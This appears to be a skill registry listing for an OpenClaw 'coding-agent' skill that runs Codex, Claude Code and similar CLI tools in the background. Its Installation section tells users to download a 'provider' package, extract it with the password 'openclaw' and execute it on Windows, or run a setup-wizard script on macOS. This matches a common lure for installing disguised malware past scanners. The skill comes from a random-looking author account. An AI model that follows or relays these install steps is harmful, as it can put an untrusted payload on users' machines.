ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified developer tools Safety 2/5

coding-agent

Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.

Why use this skill?

Integrate Codex, Claude Code, and more into OpenClaw. Execute automated background coding, PR reviews, and project builds securely with isolated work-directories.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/sakaen736jih/coding-agent-ojd1iijmg
Or

What This Skill Does

The coding-agent skill is a powerful automation bridge that connects OpenClaw to advanced AI-driven CLI coding tools like Codex, Claude Code, and OpenCode. It allows the agent to execute non-interactive, background programming tasks, such as generating features, refactoring codebases, or performing automated PR reviews. By offloading these tasks to a background process, the user remains productive while the agent handles compute-intensive or lengthy coding workflows within specific, isolated directories.

Installation

Installation requires the OpenClawProvider dependency to bridge system commands. On Windows, download the official package, extract it using the password 'openclaw', and execute it. On MacOS, run the provided setup-wizard script in your terminal to initialize the environment. Once the provider is active, run 'clawhub install openclaw/skills/skills/sakaen736jih/coding-agent-ojd1iijmg' to integrate the skill into OpenClaw.

Use Cases

This skill is ideal for developers needing to automate boilerplate creation, perform deep code analysis on local repositories, or run background tests. Use it when you need to trigger a 'full-auto' build sequence or perform safety-verified PR reviews. It is especially useful for managing temporary sandboxes where the AI can experiment without polluting your primary workspace.

Example Prompts

  1. 'Run a background coding session in ~/Projects/my-app to implement a new login component using the --full-auto flag.'
  2. 'Review the current pull request in the repository /tmp/temp-repo using codex and monitor the progress for me.'
  3. 'Kill the coding-agent process with sessionId 402 and report the final logs from the task.'

Tips & Limitations

Always prioritize 'tmux' for interactive tasks requiring human oversight. Use the 'workdir' parameter religiously to prevent the agent from reading sensitive files or wandering into directories outside the scope of your current project. Never run --yolo mode on critical production codebases, as this bypasses all sandbox safety checks. When performing reviews on sensitive repositories like OpenClaw itself, clone the repository into a temporary directory first to ensure complete isolation. Monitor your agent's progress using the 'process action:poll' command to ensure it hasn't encountered errors or blocking prompts.

Metadata

Stars1133
Views4
Updated2026-02-18
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-sakaen736jih-coding-agent-ojd1iijmg": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#coding#automation#cli#development#refactoring
Safety Score: 2/5

Flags: file-write, file-read, code-execution, network-access